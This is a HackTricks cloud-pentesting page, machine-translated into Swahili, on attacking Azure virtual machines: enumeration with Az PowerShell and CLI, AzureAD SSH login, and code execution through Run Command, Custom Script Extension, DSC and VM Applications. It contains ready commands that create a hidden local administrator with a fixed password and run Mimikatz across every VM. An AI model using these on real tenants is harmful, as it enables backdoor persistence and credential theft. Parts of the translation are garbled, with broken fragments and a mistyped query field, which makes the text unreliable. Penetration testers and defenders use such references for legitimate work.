Az - Virtual Machines & Network

Support HackTricks

Taarifa za Msingi

Kutoka kwa nyaraka: Mashine za virtual za Azure ni moja ya aina kadhaa za rasilmali za kompyuta zinazopatikana, zinazoweza kupanuliwa ambazo Azure inatoa. Kawaida, unachagua mashine ya virtual unapohitaji udhibiti zaidi juu ya mazingira ya kompyuta kuliko chaguo zingine zinavyotoa. Makala hii inakupa taarifa kuhusu mambo unayopaswa kuzingatia kabla ya kuunda mashine ya virtual, jinsi ya kuunda, na jinsi ya kuitunza.

Taarifa za Mtandao wa Azure

Mtandao wa Azure una vitengo tofauti na njia za kuwezesha usanidi wake. Unaweza kupata maelezo mfupi, mifano na amri za uorodheshaji za vitengo tofauti vya mtandao wa Azure katika:

Az - Azure Network

Azure Bastion

Azure Bastion inatoa suluhisho salama, lililosimamiwa kikamilifu la ufikiaji wa RDP (Itifaki ya Desktop ya Mbali) na SSH (Tawi Salama) kupitia SSL kupitia lango la Azure. Imeunganishwa ndani ya Mtandao wa Virtual wa Azure, ikiruhusu uunganisho wa RDP na SSH kwa VMs kutumia IPs za kibinafsi, kuepuka haja ya IPs za umma. Hii inafanya kuwa chaguo salama zaidi, rahisi zaidi kuliko njia za jadi zinazohusisha ugawaji wa IPs za umma na usanidi wa sheria za NSG kwa ufikiaji wa VM. Watengenezaji na wafanyakazi wa IT wanaweza kufikia VMs kwa usalama kutoka kwenye lango la Azure kwa kutumia vivinjari vyao vya wavuti, kupunguza mchakato kwa mazingira ya maendeleo na majaribio.

Kutaja orodha ya Wenyeweji wote wa Azure Bastion katika michango yako, unaweza kutumia amri ifuatayo:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Kuchunguza VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Chalaza amri kwenye VM

AAD Ingia kwenye VM

Inawezekana kuruhusu ufikiaji kwa watumiaji waliothibitishwa kupitia AzureAD. Kwa mfano, jaribu kupata linux VM: ssh username@azure-corp.com@1.1.1.1 (ni muhimu kutumia barua pepe na azurecorp iliyotumiwa wakati wa jaribio la kuingia) unaweza kupata kosa kama:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Chukua maagizo hayo kwa kwenda https://microsoft.com/devicelogin na kuonyesha nambari, tumia barua pepe na nenosiri kama sifa na utaweza kuunganisha kupitia SSH (ikiwa mtumiaji huyo ana idhini ya kutosha kufanya hivyo: jukumu la Kuingia kama Msimamizi wa Mashine Halisi au Kuingia kama Mtumiaji wa Mashine Halisi).

Amri ya Kutekeleza

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Endesha Ugani wa Script ya Kipekee

Vifaa vya ziada vya mashine halisi (VM) vya Azure ni programu ndogo zinazotoa usanidi baada ya kupeleka na kazi za otomatiki kwenye VM za Azure. Kwa mfano, ikiwa mashine halisi inahitaji usakinishaji wa programu, ulinzi wa antivirus, au uwezo wa kuendesha script ndani yake, unaweza kutumia kifaa cha ziada cha VM.

Kwa hivyo, ikiwa una ufikiaji wa kuandika, unaweza kutekeleza nambari ya kupindukia:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

Hali ya Usanidi Inayotakiwa (DSC)

Hali ya Usanidi Inayotakiwa (DSC) ni chombo cha PowerShell kinachofanana na Ansible, kinachotumika kuweka mwenyeji kupitia nambari. DSC inashirikiana na Azure, kuruhusu kupakia faili za usanidi maalum. Faili hizi lazima zizingatie muundo wa sintaksia kali. Kwa kipekee, kipanuzi cha DSC katika Azure kinaweza kutekeleza amri kutoka kwenye faili zinazok kufikia vigezo fulani vya muundo, hata kama sintaksia sio sahihi kwa viwango vya DSC, kama inavyoonyeshwa kwenye mchoro uliotolewa.

Utekelezaji wa amri hizi unarahisishwa na kazi ya Publish-AzVMDscConfiguration katika Az PowerShell. Mahitaji ni pamoja na faili ya .PS1 yenye kazi iliyoelezwa na faili lazima zipwe katika faili ya .zip. Hata kama sintaksia mighairi sahihi kwa DSC, nambari itatekelezwa bado. Hata hivyo, kipanuzi kitaweka hali ya utekelezaji kama "kushindwa," na hakutakuwa na matokeo yoyote kutoka kwa amri kutokana na hali hiyo kubadilishwa na ujumbe wa kushindwa.

Vifafan: documented in the provided figure. Vifafanisho vya Maombi ya VM

Vifafanisho vya Maombi ya VM huruhusu kupeleka ten kwa urahisi wa matoleo ya maombi kwa VM ya Azure. Rasilimali hii inasaidia kupeleka na kusasisha maombi kote kwenye VMs. Kuweka hii, hatua kadhaa zinahitajika, zikiingiza amri kama New-AzGalleryApplication na New-AzGalleryApplicationVersion katika Az PowerShell.

Utekelezaji wa maombi au amri kupitia njia hii unahusisha "VMAppExtension", ambayo inasakinishwa moja kwa moja wakati maombi yanatumika kwa VM. Kipanuzi hicho hupata faili kutoka kwenye URI iliyotajwa na kuipa jina sawa na maombi, bila kuwa na mghairi. Ili kutekeleza faili kwa usahihi, uga wa "ManageActions" katika wito wa API ya REST lazima uwe umewekwa kubadilisha jina la faili na mghairi sahihi. Kuweka njia hii, mara baada ya kukamilika, itafanana na muundo ulioonyeshwa kwenye mchoro uliotolewa.

Hata hivyo, njia hii ya utekelezaji ni polepole kiasi, ikichukua dakika 3-4 kutekeleza maombi au amri. Faili zinazohusiana na mchakato huu zimehifadhiwa katika saraka maalum (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ kwa nakala ya maombi na C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ kwa hali ya utekelezaji).

Mbinu zote zinatoa njia za kipekee za kutekeleza amri na kupeleka maombi katika mazingira ya Azure, kila moja ikiwa na mahitaji yake, hatua, na mambo ya kuzingatia.

Last updated